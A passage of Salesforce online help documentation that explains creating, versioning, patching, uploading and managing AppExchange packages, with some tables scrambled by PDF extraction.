packages obfuscate certain components (like Apex) on subscribing organizations to protect the intellectual property of the developer. Managed Package Extension Any package, component, or set of components that adds to the functionality of a managed package. You cannot install an extension before installing its managed package. Namespace Prefix In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your package and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive. For example, ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all Salesforce organizations. It keeps your managed package under your control exclusively. Package A group of Force.com components and applications that are made available to other organizations through the AppExchange. You use packages to bundle an app along with any related components so that you can upload them to AppExchange together. Package Dependency This is created when one component references another component, permission, or preference that is required for the component to be valid. Components can include but are not limited to: Standard or custom fields Standard or custom objects Visualforce pages Apex code

Permissions and preferences can include but are not limited to: Divisions Multicurrency Record types

Package Installation Installation incorporates the contents of a package into your Salesforce organization. A package on the AppExchange can include an app, a component, or a combination of the two. After you install a package, you may need to deploy components in the package to make it generally available to the users in your organization. Package Version A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. If there is no patchNumber, it is assumed to be zero (0). Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. See also Patch and Patch Development Organization.

1778

Create

Glossary

Patch A patch enables a developer to change the functionality of existing components in a managed package, while ensuring subscribing organizations that there are no visible behavior changes to the package. For example, you can add new variables or change the body of an Apex class, but you may not add, deprecate, or remove any of its methods. Patches are tracked by a patchNumber appended to every package version. See also Patch Development Organization and Package Version. Patch Development Organization The organization where patch versions are developed, maintained, and uploaded. Patch development organizations are created automatically for a developer organization when they request to create a patch. See also Patch and Package Version. Patch Release A minor upgrade to a managed package. During these releases, the patch number of a package version increments. Publisher The publisher of an AppExchange listing is the Salesforce user or organization that published the listing. Push Upgrade A method of delivering updates that sends upgrades of an installed managed package to all organizations that have installed the package. Subscriber The subscriber of a package is a Salesforce user with an installed package in their Salesforce organization. Test Drive A test drive is a fully functional Salesforce organization that contains an app and any sample records added by the publisher for a particular package. It allows users on AppExchange to experience an app as a read-only user using a familiar Salesforce interface. Unmanaged Package A package that cannot be upgraded or controlled by its developer. Upgrading Upgrading a package is the process of installing a newer version. Salesforce supports upgrades for managed packages that are not beta. Uploading Uploading a package in Salesforce provides an installation URL so other users can install it. Uploading also makes your packaged available to be published on AppExchange.

See Also:
What is an App?

Enabling Managed Packages for Your Organization

1779

Create

Enabling Managed Packages for Your Organization

Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable managed packages: To create packages: To upload packages: Customize Application Create AppExchange packages Download AppExchange packages

Creating a managed package is just as easy as creating an unmanaged package, but it requires a few customizations in your organization first. The only requirement for enabling your Salesforce organization to create managed packages is that you are using a Developer Edition organization. To enable your organization for managed packages: Review the information about managed packages in the Force.com Quick Reference for Developing Packages before determining if this is the right type of package for your app. Optionally, install the License Management Application (LMA) from http://sites.force.com/appexchange. Search for License Management App to locate it. The License Management Application (LMA) tracks information about each user who installs your app. It allows you to track what users have which version, giving you a means of distributing information about upgrades. The License Management Application (LMA) can be installed in any Salesforce organization except a Personal, Group, or Professional Edition organization and does not need to be the same Salesforce organization that you use to create or upload the package, although it can be. You can also use the same License Management Application (LMA) to manage an unlimited number of your managed packages in different Developer Edition organizations. Configure your developer settings. Your developer settings specify your namespace prefix, the Salesforce organization where you install the License Management Application (LMA), and the unmanaged package you want to convert into a managed package.

See Also:
Managing Packages Converting Unmanaged Packages to Managed Configuring Your Developer Settings Registering a Namespace Prefix Specifying a License Management Organization

About Managed Packages

1780

Create

Enabling Managed Packages for Your Organization

Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

A managed package is a collection of application components that are posted as a unit on AppExchange, and are associated with a namespace and a License Management Organization. You must use a Developer Edition organization to create and work with a managed package. Managed packages are depicted by the following icons: Managed - Beta Managed - Released Managed - Installed Tip: To prevent naming conflicts, Salesforce recommends using managed packages for all packages that contain Apex. This way, all of the Apex objects contain your namespace prefix. For example, if there is an Apex class called MyHelloWorld and the namespace for your organization is OneTruCode, the class is referenced as OneTruCode.MyHelloWorld.

Configuring Your Developer Settings


Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To configure developer settings: To create packages: To upload packages: Customize Application Create AppExchange Packages Upload AppExchange Packages

The developer settings in a Developer Edition organization allow you to create a single managed package, upload that package to Force.com AppExchange, allowing other users to install and upgrade the package in their organization. After configuring your developer settings the first time, you can no longer modify them. Regardless of the developer settings, you can always create an unlimited number of unmanaged packages. Before configuring your developer settings, review the requirements and steps in Enabling Managed Packages for Your Organization on page 1779. To configure your developer settings: 1. Click Your Name > Setup > Create > Packages. 2. Click Edit.

1781

Create

Enabling Managed Packages for Your Organization

Note: This button does not appear if you have already configured your developer settings.

3. Review the selections necessary to configure developer settings, and click Continue. 4. Register a namespace prefix. 5. Choose the package you want to convert to a managed package. If you do not yet have a package to convert, leave this selection blank and update it later. 6. Click Review My Selections. 7. Click Save. Tip: You may want to specify a License Management Organization (LMO) for your managed package; to find out more, go to http://sites.force.com/appexchange/publisherHome.

See Also:
Enabling Managed Packages for Your Organization Registering a Namespace Prefix Specifying a License Management Organization

Registering a Namespace Prefix


Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To configure developer settings: To create packages: To upload packages: Customize Application Create AppExchange Packages Upload AppExchange Packages

In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your package and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive. For example, ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all Salesforce organizations. It keeps your managed package under your control exclusively. Salesforce automatically prepends your namespace prefix, followed by two underscores (__), to all unique component names in your Salesforce organization. A unique package component is one that requires a name that no other component has within Salesforce, such as custom objects, custom fields, custom links, s-controls, and validation rules. For example, if your namespace prefix is abc and your managed package contains a custom object with the API name, Expense__c, use the API name abc__Expense__c to access this object using the API. The namespace prefix is displayed on all component detail pages.

1782

Create

Enabling Managed Packages for Your Organization

Caution: S-controls stored in the s-control library or the Documents tab that do not use the Force.com API still function properly after you register a namespace prefix. However, s-controls stored outside of your organization or s-controls that use the Force.com API to call Salesforce may require some fine-tuning. For more information, see S-control in the Object Reference. Your namespace prefix must: Begin with a letter Contain one to 15 alphanumeric characters Not contain two consecutive underscores

To register a namespace prefix: 1. Click Your Name > Setup > Create > Packages. 2. Click Edit. Note: This button does not appear if you have already configured your developer settings.

3. 4. 5. 6. 7. 8.

Review the selections necessary to configure developer settings and click Continue. Enter the namespace prefix you want to register. Click Check Availability to determine if it is already in use. Repeat if the namespace prefix you entered is not available. Click Review My Selections. Click Save.

See Also:
Enabling Managed Packages for Your Organization Configuring Your Developer Settings Specifying a License Management Organization

Specifying a License Management Organization


Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

A license management organization is a Salesforce organization that you use to track all Salesforce users who install your managed package. The license management organization receives notification (in the form of a lead record) when a user installs or uninstalls your package and tracks each package upload on Force.com AppExchange.

1783

Create

Managing Packages

Your license management organization can be any Salesforce Enterprise, Unlimited, or Developer Edition organization that has installed the free License Management Application (LMA) from AppExchange. To specify a License Management Organization, go to http://sites.force.com/appexchange/publisherHome.

See Also:
Enabling Managed Packages for Your Organization Configuring Your Developer Settings Registering a Namespace Prefix

Managing Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To upload packages: Upload AppExchange packages

Packages are a collection of Force.com components and applications that are made available to other organizations through the AppExchange. A managed package is a collection of application components that are posted as a unit on AppExchange, and are associated with a namespace and a License Management Organization. To support upgrades, a package must be managed. An organization can create a single managed package that can be downloaded and installed by many different organizations. Managed packages differ from unmanaged packages by having some locked components, allowing the managed package to be upgraded later. Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed packages obfuscate certain components (like Apex) on subscribing organizations to protect the intellectual property of the developer. For details, see the Force.com Quick Reference for Developing Packages. To manage your packages, click Your Name > Setup > Create > Packages. For more customization, see Configuring Your Developer Settings on page 1781. From the list of packages, you can do any of the following: Click New to create a new package, enter a package name and description, and click Save to store it in your list of packages. Click Edit to update the package properties. Click Del to delete the package. The components contained in your package are not deleted. Click the name of the package to view the details of the package.

1784

Create

Managing Packages

Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded, click Proceed to AppExchange from the package upload detail page.

See Also:
Overview of Packages Viewing Package Details Creating or Editing a Package

About Package Versions


Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. If there is no patchNumber, it is assumed to be zero (0). Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. Version numbers depend on the package release type, which identifies the way packages are distributed. There are two kinds: Major Release A major release denotes a Managed - Released package. During these releases, the major and minor numbers of a package version increase to a chosen value. Patch Release A patch release is only for patch versions of a package. During these releases, the patch number of a package version increments. When an existing subscriber installs a new package version, there is still only one instance of each component in the package, but the components can emulate older versions. For example, a subscriber may be using a managed package that contains an Apex class. If the publisher decides to deprecate a method in the Apex class and release a new package version, the subscriber still sees only one instance of the Apex class after installing the new version. However, this Apex class can still emulate the previous version for any code that references the deprecated method in the older version. Apex has special syntax so that package developers can use conditional logic in classes and triggers to exhibit different behavior for different versions. This allows the package developer to continue to support existing behavior in classes and triggers in previous package versions while continuing to evolve the code.

1785

Create

Managing Packages

When you are developing client applications using the API, you can specify the version of each package that you use in your integrations.

See Also:
Managing Packages Planning the Release of Managed Packages Developer's Guide: Force.com Apex Code Developer's Guide Developer's Guide: Web Services API Developer's Guide

Creating or Editing a Package


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create packages: Create AppExchange Packages

An app can contain many different components and you can create, upload, and register your apps on your own timeline. To group components in a container to upload to Force.com AppExchange, create a package and add components to the package. A package is the container for the app that you must use to upload all its components together. Tip: Before you begin, determine if you want to create and upload a managed or unmanaged package.

To create a new package: 1. 2. 3. 4. 5. Click Your Name > Setup > Create > Packages. Click New. Enter a name for your package. This does not have to be the same name that appears on AppExchange. From the drop-down menu, select the default language of all component labels in the package. Optionally, choose a custom link from the Configure Custom Link field to display configuration information to installers of your app. You can select a predefined custom link to a URL or s-control that you have created for your home page layouts; see the Configure Option on page 1810. The custom link displays as a Configure link within Salesforce on the Force.com AppExchange Downloads page and app detail page of the installer's organization. 6. Optionally in the Notify on Apex Error field, enter the username of the person who should receive an email notification if an exception occurs in an Apex script that is not caught by the script. If you do not specify a username, all uncaught exceptions generate an email notification that is sent to salesforce.com. This is only available for managed packages. For more information, see Handling Apex Exceptions in Managed Packages on page 1892. Note: Apex can only be packaged from Developer, Enterprise, and Unlimited Edition organizations.

7. Optionally, enter a description that describes the package. You will have a chance to change this description before you upload it to AppExchange.

1786

Create

Managing Packages

8. Click Save. After you create a package you can do any of the following: View the package details Add components to the package Upload the package

See Also:
Viewing Package Details Preparing Your Apps for Distribution

Adding Components to your Package


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create packages: Create AppExchange Packages

After you have created a package, you need to add components to it, such as app, object, Apex classes or Visualforce pages. These packages can be uploaded to share with others privately or posted on Force.com AppExchange to share publicly. To add components to a package, click Your Name > Setup > Create > Packages and select the name of the package you want to add components to. From the package detail page: 1. Click Add. 2. From the drop-down list, choose the type of component you want to add to your package. At the top of the list, click a letter to display the contents of the sorted column that begin with that character. If available, click the Next Page (or Previous Page) link to go to the next or previous set of components. If available, click fewer or more at the bottom of the list to view a shorter or longer display list.

3. Select the components you want to add. Note: Some components cannot be added to see Developing Packages for Distribution. Managed - Released packages. For a list of these components,

S-controls cannot be added to packages with restricted API access.

1787

Create

Managing Packages

4. Click Add To Package.

See Also:
Managing Packages Viewing Package Details Preparing Your Apps for Distribution

About Permission Sets and Profile Settings in Packages


Available in: Enterprise, Unlimited, and Developer Editions

Developers can use permission sets or profile settings to grant permissions and other access settings to a package. When deciding whether to use permission sets, profile settings, or a combination of both, consider the similarities and differences. Behavior What permissions and settings are included? Permission Sets Custom object permissions Custom field permissions Apex class access Visualforce page access Profile Settings Assigned apps Tab settings Page layout assignments Record type assignments Custom object permissions Custom field permissions Apex class access Visualforce page access

Can they be upgraded in managed packages?

Yes.

No. Profile settings are applied to existing profiles in the subscriber's organization on install or upgrade. Only permissions related to new components created as part of the install or upgrade are applied. Yes.

Can subscribers edit them? Can you clone or create them?

No.

Yes. However, if a subscriber clones a Yes. Subscribers can clone any profile permission set or creates one that's based that includes permissions and settings on a packaged permission set, it won't be related to packaged components. updated in subsequent upgrades. Only the permission sets included in a package are upgraded. No. No. No. No.

Do they include standard object permissions? Do they include user permissions? Are they included in the installation wizard?

No. Subscribers must assign permission Yes. Profile settings are applied to sets after installation. existing profiles in the subscriber's

1788

Create

Viewing Package Details

Behavior

Permission Sets

Profile Settings organization on install or upgrade. Only permissions related to new components created as part of the install or upgrade are applied.

What are the user license requirements? A permission set is only installed if the None. In a subscriber organization, the subscriber organization has at least one installation overrides the profile settings, user license that matches the permission not their user licenses. set. For example, permission sets with the Salesforce Platform user license aren't installed in an organization that has no Salesforce Platform user licenses. If a subscriber subsequently acquires a license, they must reinstall the package to get the permission sets associated with the newly acquired license. How are they assigned to users? Subscribers must assign packaged permission sets after installing the package. Profile settings are applied to existing profiles.

Best Practices Use permission sets in addition to packaged profiles so your subscribers can easily add new permissions for existing app users. If users need access to apps, tabs, page layouts, and record types, don't use permission sets as the sole permission-granting model for your app.

Viewing Package Details


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create packages: Create AppExchange Packages

Click Your Name > Setup > Create > Packages and click the name of a package to view its details, including any added components, whether it is a managed package, if the package has been uploaded, and so on. The detail page has the following sections: Package Detail Components tab Versions tab Patch Organizations tab Remote Access tab

1789

Create

Viewing Package Details

From the Package Detail page, you can do any of the following: Click Edit to change the package name, custom link that displays when users click Configure, or description. Click Delete to delete the package. This does not delete the components contained in the package but the components will no longer be bundled together within this package. Click Upload to upload the package. You will receive an email when the upload is complete. For more information, see Managing Versions on page 1800. For more information on the entire process, see Preparing Your Apps for Distribution on page 1796. Optionally, you can enable, disable, or change the access that components in the package have to standard objects in the installing organization by using the links next to API Access. For more information about API access, see Managing API and Dynamic Apex Access in Packages on page 1629.

Viewing Package Details For package developers, the package detail section displays the following package attributes (in alphabetical order): Attribute
API Access

Description The type of access that the API and dynamic Apex that package components have. The default setting is Unrestricted, which means that all package components that access the API have the same access as the user who is logged in. Click Enable Restrictions or Disable Restrictions to change the API and dynamic Apex access permissions for a package. For more information about API access and the access dynamic Apex have for managed package components, see Managing API and Dynamic Apex Access in Packages on page 1629.

Created By Description Language Last Modified By Notify on Apex Error

The name of the developer that created this package, including the date and time. A detailed description of the package. The language used for the labels on components. The default value is your user language. The name of the last user to modify this package, including the date and time. The username of the person who should receive an email notification if an exception occurs in Apex that is not caught by the code. If you do not specify a username, all uncaught exceptions generate an email notification that is sent to salesforce.com. This is only available for managed packages. For more information, see Handling Apex Exceptions in Managed Packages on page 1892. Note: Apex can only be packaged from Developer, Enterprise, and Unlimited Edition organizations.

Package Name Type

The name of the package, given by the publisher. Indicates whether this is a managed or unmanaged package.

1790

Create

Viewing Package Details

Viewing Package Components For package developers, the Components tab lists every package component contained in the package, including the name and type of each component. If a component is deprecated, the developer of the package sees a see a icon. Click Add to add components to the package. Note: Some related components are automatically included in the package even though they may not display in the Package Components list. For example, when you add a custom object to a package, its custom fields, page layouts, and relationships with standard objects are automatically included. For a complete list of components Salesforce automatically includes, see Developing Packages for Distribution. Click View Dependencies to review a list of components that rely on other components, permissions, or preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components enabled or installed. For more information on dependencies, see Understanding Dependencies on page 1801. Click Back to Package to return to the Package detail page. Click View Deleted Components to see which components were deleted from the package across all of its versions. The following component information is displayed (in alphabetical order): Attribute
Action

icon next to the component. Subscribers of the package

Description Lists the actions you can perform on the component. The only choice is Remove, which removes the component from an unreleased package. Displays the version number of the package in which a component exists. This column lists how a component was included in a package. If the component was automatically included because it is referenced by another component, this column lists the name of the referencing component. If the component was added by a developer, this column lists User Selected. If the component was added in a prior version of this package, this column lists Previously Released. Displays the name of the component. If the component was added from a different installed package, this column lists the name of that package. Displays the name of the parent object a component is associated with. For example, a custom object is the parent of a custom field. Displays the type of the component.

Available in Versions Included By

Name Owned By Parent Object

Type

Viewing Version History For package developers, the Versions tab lists all the previous uploads of a package. Click Push Upgrades to automatically upgrade subscribers to a specific version.

1791

Create

Viewing Package Details

Click the Version Number of any listed uploads to manage that upload. For more information, see Managing Versions on page 1800. Note: Push Upgrades is only available for patch updates. Registered Salesforce ISVs may request this feature through the Salesforce partner portal. The versions table displays the following package attributes (in alphabetical order): Attribute
Action

Description Lists the actions you can perform on the package. The possible actions are: Deprecate: Deprecates a package version. Caution: Users will no longer be able to download or install this package. However, existing installations will continue to work. Undeprecate: Enables a package version to be installed by users once again

Status

The status of the package. The possible statuses are: Released: The package is Managed - Released Beta: The package is Managed - Beta Deprecated: The package version is deprecated The version name for this package version. The version name is the marketing name for a specific release of a package. It is more descriptive than the Version Number. The version number for the latest installed package version. The format is majorNumber.minorNumber.patchNumber, such as 2.1.3. The version number represents a release of a package. The Version Name is a more descriptive name for the release. Note that the patchNumber is generated only when you create a patch. If there is no patchNumber, it is assumed to be zero (0).

Version Name

Version Number

Viewing Patch Development Organizations Every patch is developed in a patch development organization, which is the organization where patch versions are developed, maintained, and uploaded. To start developing a patch, you need to create a patch development organization. To do this, see Creating and Uploading Patches on page 1818. Patch development organizations are necessary to permit developers to make changes to existing components without causing incompatibilities between existing subscriber installations. Click New to create a new patch for this package. The Patch Organizations table lists all the patch development organizations created. It lists the following attributes (in alphabetical order):

1792

Create

Determining Your Development Process

Attribute
Action

Description Lists the actions you can perform on a patch development organization. The possible actions are: Login: Log into your patch development organization Reset: Emails a new temporary password for your patch development organization The login associated with the patch organization. The package version number that you are patching.

Administrator Username Patching Major Release

Remote Access For package developers, the Remote Access tab lists all the remote access applications created as part of this package. Click New to create a new remote access application to be included as part of this package. The following remote access information is displayed (in alphabetical order): Attribute
Name Version

Description The name of the remote access application. The version of the package that the remote access application is associated with.

See Also:
Creating or Editing a Package Preparing Your Apps for Distribution Managing Packages

Determining Your Development Process


Unmanaged packages are available in: Group, Professional, Enterprise, Unlimited, and Developer Editions Managed packages are available in: Developer Edition

All packages are unmanaged until you convert them to managed packages. This requires managed packages created in a Developer Edition organization. You may prefer developing managed packages because you can beta test them before a release and offer upgrades for them. Before creating a package, determine the development process you aim to take so that you can choose the most appropriate type of package for your process: Developing Unmanaged Packages Design your app. See the Force.com Quick Reference for Developing Packages.

1793

Create

Determining Your Development Process

Package and upload your app

Developing Managed Packages Design your app. See the Force.com Quick Reference for Developing Packages. Package and upload a beta version of your app Gather feedback from your beta testers and make the appropriate fixes to your app Package and upload your final version of the app

See Also:
Planning the Release of Managed Packages Managing Packages Creating and Uploading Patches

Planning the Release of Managed Packages


Releasing a Force.com AppExchange package is similar to releasing any other program in software development. You may want to roll it out in iterations to ensure each component functions as planned. You may even have beta testers who have offered to install an early version of your package and provide feedback. Once you release a package by publishing it on AppExchange, anyone can install it. So, plan your release carefully. Review the states defined below to familiarize yourself with the release process. Salesforce automatically applies the appropriate state to your package and components depending on the upload settings you choose and where it is in the release process. State Unmanaged Description The package has not been converted into a managed package or the component has not been added to a managed package. Note that a component that is Managed - Beta can become Unmanaged if it is removed from a managed package. All packages are unmanaged unless otherwise indicated by one of the managed icons below. The package or component was created in the current Salesforce organization and is managed, but it is not released because of one of these reasons: It has not been uploaded. It has been uploaded with Managed - Beta option selected. This option prevents it from being published, publicly available on AppExchange. The developer can still edit any component but the installer may not be able to depending on which components were packaged.. The package or component was created in the current Salesforce organization and is managed. It is also uploaded with the Managed - Released option selected, indicating that it can be published on AppExchange and is publicly

Managed - Beta

Managed - Released

1794

Create

Determining Your Development Process

State

Description available. Note that once you have moved a package to this state, some properties of the components are no longer editable for both the developer and installer. This type of release is considered a major release.

Patch

If you need to provide a minor upgrade to a managed package, consider creating a patch instead of a new major release. A patchenables a developer to change the functionality of existing components in a managed package, while ensuring that subscribers experience no visible changes to the package. This type of release is considered a patch release.

Managed - Installed

The package or component was installed from another Salesforce organization but is managed.

A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may involve redesigning some of the components in the managed package. Developers cannot delete some components in a Managed - Released package, but they can deprecate a component in a later package version so that new subscribers do not receive the component, while the component continues to function for existing subscribers and API integrations. For more information on developing and releasing packages, see the Force.com Quick Reference for Developing Packages.

See Also:
Managing Packages Determining Your Development Process

Deleting Components From Managed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete components from a package: Create AppExchange Packages

After you've uploaded a Managed - Released package, you may find that a component needs to be deleted from your organization. One of the following situations may occur: The component, once added to a package, can't be deleted. Note: The Available Components table in the Force.com Quick Reference for Developing Packages has more information on which components can't be deleted.

1795

Create

Determining Your Development Process

The component can be deleted, but can only be undeleted from the Deleted Package Components page. The component can be deleted, but can be undeleted from either the Deleted Package Components page or through the Recycle Bin

To access the Deleted Package Components page, click Your Name > Setup > Create > Packages, select the package the component was uploaded to, then click View Deleted Components. If a component can be retrieved through the Recycle Bin, it can also be retrieved through this page. You can retrieve the following types of components from here: Apex classes and triggers that don't have global access Visualforce components with public access Protected components, including: Custom labels Custom links (for Home page only) Workflow alerts Workflow field updates Workflow outbound messages Workflow tasks

Data components, such as Documents, Dashboards, and Reports. These are the only types of components that can also be undeleted from the Recycle Bin

You can retrieve components from the Recycle Bin and Deleted Package Components page any time before uploading a new version of the package. To do this, click Undelete next to the component. After a package is uploaded with a component marked for deletion, it is deleted forever. Caution: Although a component is deleted, its Name remains within Salesforce. You can never create another component with the same name. The Deleted Package Components page lists which names can no longer be used. The Deleted Components displays the following information (in alphabetical order): Attribute
Action

Description If the Managed - Released package hasn't been uploaded with the component deleted, this contains an Undelete link that allows you to retrieve the component. Displays the version number of the package in which a component exists. Displays the name of the component. Displays the name of the parent object a component is associated with. For example, a custom object is the parent of a custom field. Displays the type of the component.

Available in Versions

Name Parent Object

Type

Preparing Your Apps for Distribution


1796

Create

Preparing Your Apps for Distribution

Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create packages: To upload packages: Create AppExchange Packages Upload AppExchange Packages

When you are ready to distribute your package, determine if you want to release a managed or unmanaged package. For more information about the different types of releases, see Developing Packages for Distribution. 1. Create a package: a. b. c. d. e. Click Your Name > Setup > Create > Packages. Click New. Enter a name for your package. This does not have to be the same name that appears on AppExchange. From the drop-down menu, select the default language of all component labels in the package. Optionally, choose a custom link from the Configure Custom Link field to display configuration information to installers of your app. You can select a predefined custom link to a URL or s-control that you have created for your home page layouts; see the Configure Option on page 1810. The custom link displays as a Configure link within Salesforce on the Force.com AppExchange Downloads page and app detail page of the installer's organization. f. Optionally in the Notify on Apex Error field, enter the username of the person who should receive an email notification if an exception occurs in an Apex script that is not caught by the script. If you do not specify a username, all uncaught exceptions generate an email notification that is sent to salesforce.com. This is only available for managed packages. For more information, see Handling Apex Exceptions in Managed Packages on page 1892. Note: Apex can only be packaged from Developer, Enterprise, and Unlimited Edition organizations.

g. Optionally, enter a description that describes the package. You will have a chance to change this description before you upload it to AppExchange. h. Click Save. 2. Salesforce sets your package API access privileges to Unrestricted. You can change this setting to further restrict API access of Salesforce components in the package. For more information, see Managing API and Dynamic Apex Access in Packages on page 1629. 3. Add the necessary components for your app. a. Click Add. b. From the drop-down list, choose the type of component you want to add to your package. At the top of the list, click a letter to display the contents of the sorted column that begin with that character. If available, click the Next Page (or Previous Page) link to go to the next or previous set of components. If available, click fewer or more at the bottom of the list to view a shorter or longer display list.

c. Select the components you want to add.

1797

Create

Preparing Your Apps for Distribution

Note: Some components cannot be added to see Developing Packages for Distribution.

Managed - Released packages. For a list of these components,

S-controls cannot be added to packages with restricted API access. d. Click Add To Package. Repeat these steps until you have added all the components you want in your package. Note: Some related components are automatically included in the package even though they may not display in the Package Components list. For example, when you add a custom object to a package, its custom fields, page layouts, and relationships with standard objects are automatically included. For a complete list of components Salesforce automatically includes, see Developing Packages for Distribution. 4. Optionally, click View Dependencies and review a list of components that rely on other components, permissions, or preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components enabled or installed. For more information on dependencies, see Understanding Dependencies on page 1801. Click Done to return to the Package detail page. Note: You cannot upload packages that contain any of the following: References to person accounts, such as an s-control or custom field referencing person accounts. Workflow rules or workflow actions (such as field updates or outbound messages) that reference record types. Reports that reference record types on standard objects.

5. Click Upload. Note: If you are creating a managed package to publish on AppExchange, you must certify your application before you package it. For more information, seeSecurity and Trust on AppExchange. On the Upload Package page, do the following: a. Enter a Version Name. As a best practice, it's useful to have a short description and the date. b. Enter a Version Number for the upload, such as 1.0. The format is majorNumber.minorNumber. Note: If you are uploading a new patch version, you can't change the patch number. The version number represents a release of a package. This field is required for managed and unmanaged packages. For a managed package, the version number corresponds to a Managed - Released upload. All beta uploads use the same version number until you upload a Managed - Released package version with a new version number. For example, the following is a sequence of version numbers for a series of uploads. Upload Sequence First upload Second upload Type Managed - Beta Managed - Released Version Notes Number 1.0 1.0 The first Managed - Beta upload. A Managed - Released upload. Note that the version number does not change.

1798

Create

Preparing Your Apps for Distribution

Upload Sequence

Type

Version Notes Number 1.1 2.0 2.0 Note the change of minor release number for this Managed - Released upload. The first Managed - Beta upload for version number 2.0. Note the major version number update. A Managed - Released upload. Note that the version number does not change.

Third upload Managed - Released Fourth upload Managed - Beta Fifth upload Managed - Released

c. For managed packages, select a Release Type: Choose Managed - Released to upload an upgradeable version. After upload, some attributes of Salesforce components are locked. For a list of locked attributes, see Developing Packages for Distribution. Choose Managed - Beta if you want to upload a version of your package to a small sampling of your audience for testing purposes. You'll still be able to change the components and upload additional beta versions. For information on beta versions, see Developing Packages for Distribution. Note: Beta packages can only be installed in Developer Edition or sandbox organizations, and thus can't be pushed to customer organizations.

d. Change the Description, if necessary. e. Optionally, enter and confirm a password to share the package privately with anyone who has the password. Don't enter a password if you want to make the package available to anyone on AppExchange and share your package publicly. f. Salesforce automatically selects the requirements it finds. In addition, select any other required components from the Package Requirements and Object Requirements sections to notify installers of any requirements for this package. g. Click Upload. 6. Once your upload is complete you can do any of the following. Click Change Password link to change the password option. Click Deprecate to prevent new installations of this package while allowing existing installations to continue operating. Note: You cannot deprecate the most recent version of a managed package.

When you deprecate a package, remember to remove it from AppExchange as well. See Removing Apps from AppExchange in the AppExchange online help. Click Undeprecate to make a deprecated version available for installation again.

You will receive an email that includes an installation link when your package has been uploaded successfully.

1799

Create

Trialforce Email Branding

Note: If you uploaded from your Salesforce production organization, notify installers who want to install it in a sandbox organization to replace the login.salesforce.com portion of the installation link with test.salesforce.com.

See Also:
Overview of Packages Managing Packages Understanding Dependencies Managing Versions Creating and Uploading Patches Publishing Upgrades to Managed Packages Publishing Extensions to Managed Packages

Trialforce Email Branding


Available in: Developer Edition

User Permissions Needed To define package branding: Package Branding

Trialforce Email Branding allows you to modify system-generated emails so that they appear to come from your company rather than from Salesforce.com. Trialforce Email Branding only applies to users who sign up for your application through Trialforce. To change Trialforce Email Branding: 1. 2. 3. 4. 5. 6. 7. Click Your Name > Setup > Create > Packages. Click the managed package you want to change the branding on. Click Branding. On the Package Branding detail page, click Edit. Select Enable to use your own branding or clear the checkbox to use salesforce.com branding. Enter information about your company in the fields provided. Click Save to preview the branded emails. Note: Trialforce Email Branding is specific to a version of the package, to change branding, you must upload a new version.

Managing Versions

1800

Create

Managing Versions

Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To upload packages: Upload AppExchange Packages

After you upload a package to Force.com AppExchange, you can still manage it from Salesforce. To manage your versions: 1. Click Your Name > Setup > Create > Packages. 2. Select the package that contains the app or components you uploaded. 3. Select the version number listed in the Versions tab. Click Change Password link to change the password option. Click Deprecate to prevent new installations of this package while allowing existing installations to continue operating. Note: You cannot deprecate the most recent version of a managed package.

When you deprecate a package, remember to remove it from AppExchange as well. See Removing Apps from AppExchange in the AppExchange online help. Click Undeprecate to make a deprecated version available for installation again. Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded, click Proceed to AppExchange from the package upload detail page.

See Also:
Preparing Your Apps for Distribution Understanding Dependencies Creating and Uploading Patches Publishing Upgrades to Managed Packages Publishing Extensions to Managed Packages Security Tips for Apex and Visualforce Development

Understanding Dependencies

1801

Create

Understanding Dependencies

AppExchange packages and Visualforce are available in: Group, Professional, Enterprise, Unlimited, and Developer Editions Apex available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To upload packages: To view Apex dependencies: To view Visualforce dependencies: Upload AppExchange Packages Author Apex Developer Mode

